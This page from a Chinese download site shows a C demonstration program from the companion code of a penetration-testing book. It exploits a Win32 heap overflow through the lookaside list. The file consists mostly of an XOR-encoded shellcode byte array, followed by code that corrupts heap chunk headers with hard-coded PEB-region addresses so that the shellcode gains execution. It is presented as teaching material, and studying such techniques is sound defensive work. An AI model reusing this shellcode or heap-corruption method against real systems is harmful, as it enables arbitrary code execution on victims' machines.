⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 lookaside_test.c

📁 网络渗透技术配书源码
💻 C
字号:
/* lookaside_test.c
*
*  《网络渗透技术》演示程序
*  作者:san, alert7, eyas, watercloud
*
*  Win32堆溢出lookaside表利用演示
*/

#include <windows.h> 
#include <stdio.h>

char shellcode[]=
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x58\x01\x80\x34\x0b\xf8\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff\x11\xda\xf9\xf8\xf8\xa7\x9c\x59\xc8"
"\xf8\xf8\xf8\xa8\x73\xb8\xf4\x73\xb8\xe4\x73\x90\xf0\xa8\x73\x0f"
"\x92\xfa\xa1\x10\x39\xf8\xf8\xf8\x1a\x01\xa0\x73\xf8\x73\x90\xf0"
"\xa0\x07\xce\x77\xb8\xd8\x07\x8e\xfc\x77\xb8\xdc\x92\xfb\xa1\x10"
"\x5d\xf8\xf8\xf8\x1a\x01\x90\xcb\xca\xf8\xf8\x90\x8f\x8b\xca\xa7"
"\xac\x07\xae\xf0\x73\x10\x92\xfd\xa1\x10\x73\xf8\xf8\xf8\x1a\x01"
"\x79\x14\x68\xf9\xf8\xf8\xac\x90\xf9\xf9\xf8\xf8\x07\xae\xec\xa8"
"\xa8\xa8\xa8\x92\xf9\x92\xfa\x07\xae\xe0\x73\x20\xcb\x38\xa8\xa8"
"\xa8\x73\x04\x9e\x3f\xff\xfa\xf8\x9e\x73\xbe\xd0\x7e\x3c\x9e\x71"
"\xbf\xfa\x92\xe8\xaf\xab\x07\xae\xe4\x92\xf9\xab\x07\xae\xd8\xa8"
"\xa8\xab\x07\xae\xdc\x73\x20\x90\x9b\x95\x9c\xf8\x75\xec\xdc\x7b"
"\x14\xac\x73\x04\x92\xec\xa1\xcb\x38\x71\xfc\x77\x1a\x03\x3e\xbf"
"\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71\xa7\xb0\x71\xa7\xb4\x71\xa7"
"\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9\x92\xf9\xa9\xa9\xaa\xa9\x07"
"\xae\xf4\xcb\x38\xb0\xa8\x07\xae\xe8\xa9\xae\x73\x8d\xc4\x73\x8c"
"\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb\x0d\xcb\x31\xb1\xb9\x55\xfb"
"\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c\xf0\x39\x33\xff\xfb\x22\xb8"
"\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6\xdc\xfb\x25\x9e\x73\xf4\xb3"
"\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb\x3d\x53\xa6\xa1\x3b\x10\x21"
"\x06\x07\x07\x06\xdc\x81\x9c\x22\x06\xf1\x6e\xca\x8c\x69\xf4\x31"
"\x44\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c"
"\xe8\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf9\xa4\xe9\x47\x1d";

void main() 
{ 
    HANDLE hHeap; 
    char   *buf1, *buf2;

    hHeap = HeapCreate(2, 64*1024, 0); /* [1] */
    buf1  = HeapAlloc(hHeap, 0, 1024);
    buf2  = HeapAlloc(hHeap, 0, 8);

    memcpy(buf1+1024, "\x01\x00\x01\x00\x01\x10\x08\x01", 8);
    *(unsigned int *)&buf1[1024+8]   = 0x7ffdf250;
    *(unsigned int *)&buf1[1024+8+4] = 0x00390718; /* [2] */

    HeapFree(hHeap, 0, buf1); /* [3] */
    HeapFree(hHeap, 0, buf2);

    buf1  = HeapAlloc(hHeap, 0, 16); /* [4] */
    memset(buf1, 'A', 512);
    memcpy(buf1+4, shellcode, strlen(shellcode));
    HeapFree(hHeap, 0, buf1);

    buf1  = HeapAlloc(hHeap, 0, 64); /* [5] */
    buf2  = HeapAlloc(hHeap, 0, 64);

    memcpy(buf1,    "\x02\x00\x02\x00\x31\x40\x01\x01", 8);
    *(unsigned int *)&buf1[8]   = 0x7ffdf020;
    *(unsigned int *)&buf1[8+4] = 0x7ffdf250;
    memcpy(buf1+32, "\x02\x00\x02\x00\x31\x40\x01\x01", 8);
    *(unsigned int *)&buf1[32+8]   = 0x90909090;
    *(unsigned int *)&buf1[32+8+4] = 0x7ffdf250;
    memcpy(buf1+64, "\x02\x00\x08\x00\x31\x41\x08\x01", 8);

    HeapFree(hHeap, 0, buf2);
    HeapFree(hHeap, 0, buf1);

    HeapDestroy(hHeap);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -